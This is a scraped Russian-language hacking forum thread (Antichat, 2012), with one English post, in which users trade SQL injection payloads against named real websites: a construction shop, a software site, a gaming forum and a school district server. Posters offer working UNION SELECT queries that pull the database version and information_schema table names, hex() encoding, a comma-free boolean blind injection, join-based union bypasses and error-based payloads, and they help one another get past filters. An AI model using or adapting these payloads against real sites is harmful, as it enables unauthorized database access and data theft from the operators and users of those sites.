 |
|
05.01.2012, 02:29
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
Сообщение от trololoman96
Тут можно спокойно обойтись и без вывода в ошибке и тем более не заморачиваться с тайм басед методом, там есть вывод в урл
Код:
www.shop-stroitel.ru/catalog/?id=14+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45--+
не, ну версию ещо да, а вот например
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.shop-stroitel.ru/catalog/?id=14+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45+from+information_schema.tables--+
[/COLOR][/COLOR]
уже не выводит
|
|
|
05.01.2012, 06:25
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Сообщение от qaz
не, ну версию ещо да, а вот например
...
уже не выводит
А так выводит:
?id=14+union+select+1, hex(table_name ),...,45+from+information_schema.tables--+
|
|
|
|
05.01.2012, 06:49
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Сообщение от trololoman96
obnovi-soft[antigoogle].ru/software'
Что то не получается раскрутить, если и избавляюсь от sql ошибки то остается друга без намека на иньект, либо происходит редирект.
Нельзя использовать пробел, запятую, слеш, процент, возможно что-то еще. Нашел такой вариант:
1) false. редирект есть. version() like '4%'
/desktop'and(version())like(0x3425)and'1
2) true. редиректа нет. version() like '5%'.
/desktop'and(version())like(0x3525)and'1
upd:
Точка вырезается, так что придется брутить имена таблиц и колонок
|
|
|
|
05.01.2012, 12:44
|
|
Новичок
Регистрация: 21.12.2009
Сообщений: 0
С нами:
8625634
Репутация:
0
|
|
Сообщение от M_script
Нельзя использовать пробел, запятую, слеш, процент, возможно что-то еще. Нашел такой вариант:
1)
false
. редирект есть. version() like '4%'
/desktop'and(version())like(0x3425)and'1
2)
true
. редиректа нет. version() like '5%'.
/desktop'and(version())like(0x3525)and'1
upd:
Точка вырезается, так что придется брутить имена таблиц и колонок
Не пугай парня
Вывод:
http://www.obnovi-soft.ru/desktop' and 1=2 union select * from (select 1)a join (select 2)b join (select version())c join (select 4)d join (select 5)i-- '1
Пробелы норм, проблема с запятыми, ну и дальше с точками будет, как ты и сказал
|
|
|
|
05.01.2012, 15:13
|
|
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами:
7638806
Репутация:
-6
|
|
I'm stalked here.
Код:
http://pvrpg.net/forum/view_thread.php?id=8762&page=1 (NO ERROR)
Код:
http://pvrpg.net/forum/view_thread.php?id=8762&page=-1 (ERROR)
Shows site is vulnerable.
Now, I try order by and many things, all do not work.
Код:
http://pvrpg.net/forum/view_thread.php?id=8762&page=-1%27+or+1+/!*group*/+by+/!*concat*/%28version%28%29,rand%280%29|0%29+having+min%280%29--+
Any help? |
|
|
|
05.01.2012, 15:38
|
|
Постоянный
Регистрация: 29.08.2010
Сообщений: 840
С нами:
8265206
Репутация:
84
|
|
Сообщение от lightangel
I'm stalked here.
Код:
http://pvrpg.net/forum/view_thread.php?id=8762&page=1 (NO ERROR)
Код:
http://pvrpg.net/forum/view_thread.php?id=8762&page=-1 (ERROR)
Shows site is vulnerable.
Now, I try order by and many things, all do not work.
Код:
http://pvrpg.net/forum/view_thread.php?id=8762&page=-1%27+or+1+/!*group*/+by+/!*concat*/%28version%28%29,rand%280%29|0%29+having+min%280%29--+
Any help? Там нет скули
|
|
|
|
05.01.2012, 16:24
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от None
255 order by 1--
получается такой запрос, как избавиться от того, что до моего запроса?
|
|
|
|
05.01.2012, 16:28
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от faza02
получается такой запрос, как избавиться от того, что до моего запроса?
Никак.
|
|
|
|
05.01.2012, 16:53
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
тогда еще вопрос
подбираю кол-во полей, сначала Unknown column '7' in 'order clause'
а на 6
Table 'wsl.home' doesn't exist
ну и с выводом я потерялся, где он там
и вот, про подзапросы
прочитал я от джкестера /showpost.php?p=1047515&postcount=48
и вопрос, то есть он рассматривает когда при подборе на одном числе ошибка, а на втором ошибка, но уже с выводом?
я такого не встречал просто
вот тут например
http://exchange.guhsd.net/details.php?object_id=2251+order+by+8--
|
|
|
|
05.01.2012, 16:57
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от faza02
тогда еще вопрос
подбираю кол-во полей, сначала Unknown column '7' in 'order clause'
а на 6
Table 'wsl.home' doesn't exist
ну и с выводом я потерялся, где он там
и вот, про подзапросы
прочитал я от джкестера /showpost.php?p=1047515&postcount=48
и вопрос, то есть он рассматривает когда при подборе на одном числе ошибка, а на втором ошибка, но уже с выводом?
я такого не встречал просто
вот тут например
http://exchange.guhsd.net/details.php?object_id=2251+order+by+8--
Обычно в таких случаях я юзаю error-based. У тебя так выводит, потому что:
http://exchange.guhsd.net/details.php?object_id=2251
wsl.home действительно не существует.
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 14 (пользователей: 0 , гостей: 14)
|
|
|
|
Похожие темы
Линейный вид
